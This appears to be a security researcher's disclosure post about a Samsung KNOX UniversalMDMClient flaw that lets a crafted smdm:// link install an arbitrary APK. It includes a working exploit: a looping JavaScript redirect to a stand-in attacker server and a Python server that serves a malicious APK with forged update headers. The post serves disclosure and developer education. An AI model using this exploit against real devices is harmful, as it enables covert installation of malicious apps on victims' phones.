UPDATE: A way to patch the vulnerability is provided at the end of the article. We explain a vulnerability found when the Samsung Galaxy S5 was released and patched recently by Samsung. It allows a remote attacker to install an arbitrary application by using an unsecure update mechanism implemented in the UniversalMDMClient application related to the Samsung KNOX security solution. The vulnerability has been patched on the Samsung Galaxy S5 but also Note 4 and Alpha. Yet the Samsung Galaxy S4, S4 mini, Note3 and Ace 4 (and possibly others) are still vulnerable.
Introduction
At Quarkslab, we like to play with Android devices. So the release day of the Samsung Galaxy S5 we gave a look at the firmware to search for issues. We quickly spotted a simple vulnerability and had a working exploit. The vulnerable application is UniversalMDMApplication, its goal is to make the user enrollment easier for the enterprises. This application is present by default in the Samsung Galaxy S5 ROM (and many others) and is part of the Samsung KNOX security solution for enterprise.
When launched with special attributes, we can fool the vulnerable application in thinking that an update is available. The result is a popup showed by the vulnerable application asking the user if he wants to update or not. If the user chooses "yes", an arbitrary application is installed, if not we can relaunch the popup making the user thinks the "cancel" button is not working... Our vulnerability can be triggered via a mail (by clicking on a crafted link) or by browsing a malicious page in Chrome/stock browser. The vulnerability can also be triggered when the attacker is in position of MITM (Man In The Middle) as we can inject arbitrary JavaScript code inside HTML page accessed over HTTP.
We kept this vulnerability undisclosed because we thought this could be a good one for the mobile pwn2own but the rules are stricter this year, maybe too strict (they removed the USB category because it means user interaction... come on guys...). With the new rules, the victim is only authorized to click one time, to open the malicious content and nothing else. So when the popup appears, even if most of the user will click on "yes", for the pwn2own guys it is already an invalid vulnerability.
Even without the problem of "user interaction", this vulnerability has been patched in August on the Samsung Note 4 and Alpha but not until October for the Samsung Galaxy S5, thus can not be used anymore for the pwn2own.
This article will describe how the vulnerability works and try to make developers more aware of this kind of bugs. A video showing the exploitation of the vulnerability is also present.
- Timeline:
April 2014 - Release of the Samsung Galaxy S5 and discovery of the vulnerability.
August 2014 - Release of the Samsung Galaxy Note 4 and Alpha. The vulnerability is patched in their release ROMs.
October 2014 - The vulnerability is patched in the Samsung Galaxy S5.
November 2014 - Mobile Pwn2Own contest.
- To our knowledge the following models are still vulnerable:
Samsung Galaxy S4 (version checked: I9505XXUGNH8)
Samsung Galaxy S4 mini (version checked: I9190UBUCNG1)
Samsung Galaxy Note 3 (version checked: N9005XXUGNG1)
Samsung Galaxy Ace 4 (version checked: G357FZXXU1ANHD)
Warning: This list is not exhaustive and others models can also be vulnerable.
UPDATE: A way to patch the vulnerability is provided at the end of the article.
The vulnerability
Short writeup
The UniversalMDMClient application is installed by default as part of Samsung KNOX. It registers a custom URI "smdm://". When an user clicks on a link to open an URL starting by "smdm://", the component LaunchActivity of UniversalMDMClient will be started and will parse the URL. Many information is extracted from the URL, and among them an update server URL.
After having extracted the update server URL, the application will try to do a HEAD on the URL. It will check if the server returns the non standard header "x-amz-meta-apk-version". If this happens, it will compare the current version of the UniversalMDMClient application to the version specified in the "x-amz-meta-apk-version" header. If the version in the header is more recent, it will show a popup to the user explaining that an update is available and asking if he wants to install it or no.
If the user choose "yes", the application will do a GET on the update server URL and the body of the answer is saved as an APK file. Last but not least it will be installed without prompting the user about the permission asked by the application or checking the certificate used to sign the APK. Hence, if an attacker can trick the user into accepting the update, he can install an arbitrary application with arbitrary permissions.
The vulnerability has been patched in October 2014 by checking if the package name of the downloaded APK is the same as the package name of UniversalMDMClient application. Since it is not possible to have two applications with the same package name and signed by two different certificates, it becomes impossible to install an arbitrary application.
Detailed writeup
Looking at the UniversalMDMClient's AndroidManifest.xml file, we can see that it defines a custom URI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" /> [...] <uses-permission android:name="android.permission.INSTALL_PACKAGES" /> [...] <application android:allowBackup="true" android:name=".core.Core"> <activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true" android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true" android:theme="@android:style/Theme.DeviceDefault"> <intent-filter> <data android:scheme="smdm" /> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> </intent-filter> </activity> [...] </application> </manifest> |
The intent-filter registers (line 11-16) the custom URI "smdm://" and associates it to the com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity component. When the user (or his browser ;) ) will try to open a "smdm://" URI, the onCreate() method of LaunchActivity will handle the situation. From here, we will dive into the code. Besides the application has been ""obfuscated"" by proguard, it is not really a problem to analyse it using the JEB decompiler and his ability to let the user rename methods and classes.
Below is the source code decompiled and renamed of the onCreate() method:
The first thing done by the onCreate() method is to check (via the function getPreETAG()) the presence of a file named PreETag.xml inside the directory /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/. If the file exists, the application aborts its execution by calling the finish() method. By default, the file PreETag.xml does not exit.
The application will now try to get the Intent used to start the Activity and more precisely the data attached to it. The data must be of the form "smdm://hostname?var1=value1&var2=value2". The parsed variables names can be easily obtained from the source: seg_url, update_url, email, mdm_token, program and quickstart_url. The most important is update_url. After writing all these variables values inside a shared_preference file, onCreate() ends by calling Core.startSelfUpdateCheck():
The Core.startSelfUpdateCheck() checks if an update is currently in progress, if not it calls UMCSelfUpdateManager.startSelfUpdateCheck():
The function verifies that data connection is available, deletes pending update if present, constructs an URL based on the value of the umc_cdn string inside the shared_pref file "m.xml" and append to it the constant string "/latest". The value of umc_cdn is the value of our Intent data variable udpdate_url. So this is a value fully controlled by an attacker. It then calls UMCSelfUpdateManager.doUpdateCheck() with as first parameter the previously constructed URL:
Inside this function, a ContentTransferManager class instance is initialized and a HEAD HTTP request is performed on the attacker controlled URL. The different states which will be encountered during the life of the HTTP request are handled by the handleRequestResult class and methods onFailure(), onProgress(), onStart(), onSucess(), etc.
The most interesting method is of course onSucess(). It checks that different headers are present : ETag, Content-Length and x-amz-meta-apk-version. The value of the header x-amz-meta-apk-version is compared to the current UniversalMDMApplication APK package version. If the header x-amz-meta-apk-version contains a number bigger than the current APK version, then an update is needed.
At this point a popup appears on the screen of the user, explaining that an update for his application is available and asking if he wants to install it or no. If he chooses yes, we can continue our analysis, and the attack.
If the user chooses "yes", UMCSelfUpdateManager.onSuccess() is called, and before returning, it calls his parent onSucess() method which has the following code:
This onSuccess() will finaly call beginUpdateProcess() which will start an update thread:
The update thread will call installApk() which in turn will call _installApplication() whose role is to disable the package verifier (to prevent Google from scanning the APK at the installation), install the APK and reenable the packager verifier:
And... that's all. At no time the download APK authenticity is checked nor the asked permissions are showed to the user. Hence, this vulnerability allows an attacker to install an arbitrary application.
Once the update have been installed, it is not possible to exploit the vulnerability anymore because when a successful update has been installed, the value of the ETag header is written in /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml, and the existence of the file is the first check done inside the onCreate() method of LaunchActivity. If the file already exists, the method calls finish() and the execution aborts.
The patch by Samsung
In order to prevent the installation of an arbitrary APK, the application now checks the package name before installing it. The APK package name must be the same that the package name of UniversalMDMApplication. This means that the APK must be an update of UniversalMDMApplication and signed by the same certificate. Thus it is not possible to install an arbitrary application anymore.
Below is the function performing the check:
The following popup appears on a patched system:
The exploit
The exploit is pretty simple, you have to make your victim run your custom URI by making him click on it in a mail or by redirecting to it in JavaScript in a web page :
<script>
function trigger(){
document.location="smdm://meow?update_url=http://yourserver/";
}
setTimeout(trigger, 5000);
</script>
The interesting fact about triggering the exploit via JavaScript code inside a web page, is that if the user choose "cancel" and deny the update, Android will give focus back to our web page and resume the execution of our JavaScript code. This mean we can do a loop inside the JavaScript code that will trigger the vulnerability. This is so quick that a lambda user will think that the "cancel" button of the popup is not working correctly. If the user choose "yes", it will install the arbitrary APK and prevent further running of the application.
For the server part you have to return the following headers:
x-amz-meta-apk-version : an arbitrary number but abnormally big for a version number, like 1337 ;
ETag : the md5sum of the arbitrary APK ;
Content-Length : the size of the arbitrary APK (used by the progress bar).
Here is the code of server part:
import hashlib
from BaseHTTPServer import BaseHTTPRequestHandler
APK_FILE = "meow.apk"
APK_DATA = open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH = hashlib.md5(APK_DATA).hexdigest()
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
self.wfile.write(APK_DATA)
return
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
return
if __name__ == "__main__":
from BaseHTTPServer import HTTPServer
server = HTTPServer(('0.0.0.0',8080), MyHandler)
server.serve_forever()
Below is a video showing the exploit on a patched and unpatched version of the Samsung Galaxy S5 :
How to patch it yourself ?
If your device is vulnerable, you can wait for Samsung to patch it or you can patch it by yoursel. To patch your device, no root access is required, you only have to click on this link :
smdm://patch/In fact, by clicking on the link, the vulnerable application will be launched but without a specified update URL it will use by default the Samsung UMC (Universal MDM Client) server http://umc-cdn.secb2b.com:80. This server hosts the last version of the UniversalMDMClient.apk available and installed on the patched models (Samsung Galaxy S5, Note 4 and Alpha). Because this version is more recent than the vulnerable one, the application will download and install it, you are safe now.
After the installation you may have an interface asking for you enterprise credentials in order to enrolls you, you shoud press "back" or "home":
Conclusion
We conducted a study on the security of the Samsung OEM application in 2013 (slides here [3]) on the Samsung Galaxy S3. We proved at the time that it was possible for a local and unprivileged application (0 permission was needed) to take full control on the smartphone and build a 0 permission backdoor by exploiting vulnerabilities inside OEM applications.
This vulnerability proves that yet in 2014, easy to spot and exploit vulnerabilities are always present in high end android phones even if they are approved by the NSA for government use [4] (or maybe it is the reason why ;)
References
[1] | https://developer.chrome.com/multidevice/android/intents |
[2] | http://androidxref.com/5.0.0_r2/xref/frameworks/base/core/java/android/content/Intent.java#4140 |
[3] | http://www.quarkslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-without-permission.pdf |
[4] | http://www.theinquirer.net/inquirer/news/2376875/nsa-clears-the-galaxy-note-4-and-galaxy-s5-for-us-government-use |